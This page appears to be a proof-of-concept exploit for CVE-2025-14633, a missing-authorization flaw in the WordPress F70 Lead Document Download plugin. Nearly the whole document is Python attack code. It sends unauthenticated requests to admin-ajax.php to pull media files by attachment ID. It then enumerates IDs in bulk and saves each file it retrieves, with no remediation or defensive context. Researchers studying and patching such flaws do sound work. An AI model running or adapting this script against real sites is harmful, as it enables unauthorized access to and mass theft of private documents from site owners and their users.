CVE-2025-14633 WordPress F70 Lead Document Download插件未授权文件访问漏洞

import requests # CVE-2025-14633 PoC - Unauthenticated File Download # Target: WordPress site with F70 Lead Document Download plugin <= 1.4.4 def exploit_cve_2025_14633(target_url, attachment_id): """ Exploit for IDOR vulnerability in F70 Lead Document Download plugin Allows unauthenticated download of arbitrary WordPress media files Args: target_url: Base URL of the WordPress site attachment_id: WordPress attachment ID to download Returns: Response content if successful, None otherwise """ # Construct the vulnerable endpoint exploit_url = f"{target_url}/wp-admin/admin-ajax.php" # Prepare the malicious request with action parameter data = { 'action': 'f70_lead_document_download', 'attachment_id': attachment_id } # Send the request without authentication try: response = requests.post(exploit_url, data=data, timeout=10) if response.status_code == 200: print(f"[+] Successfully downloaded attachment ID: {attachment_id}") print(f"[+] Content length: {len(response.content)} bytes") return response.content else: print(f"[-] Failed with status code: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return None def enumerate_attachments(target_url, start_id=1, end_id=1000): """ Enumerate WordPress attachment IDs to find accessible files """ print(f"[*] Starting enumeration from ID {start_id} to {end_id}") for attachment_id in range(start_id, end_id + 1): content = exploit_cve_2025_14633(target_url, attachment_id) if content and len(content) > 0: print(f"[+] Found valid attachment at ID: {attachment_id}") # Save to file filename = f"attachment_{attachment_id}.bin" with open(filename, 'wb') as f: f.write(content) print(f"[+] Saved to: {filename}") # Example usage if __name__ == "__main__": target = "https://example.com" # Download specific attachment # exploit_cve_2025_14633(target, 123) # Or enumerate to find valid attachments # enumerate_attachments(target, 1, 100)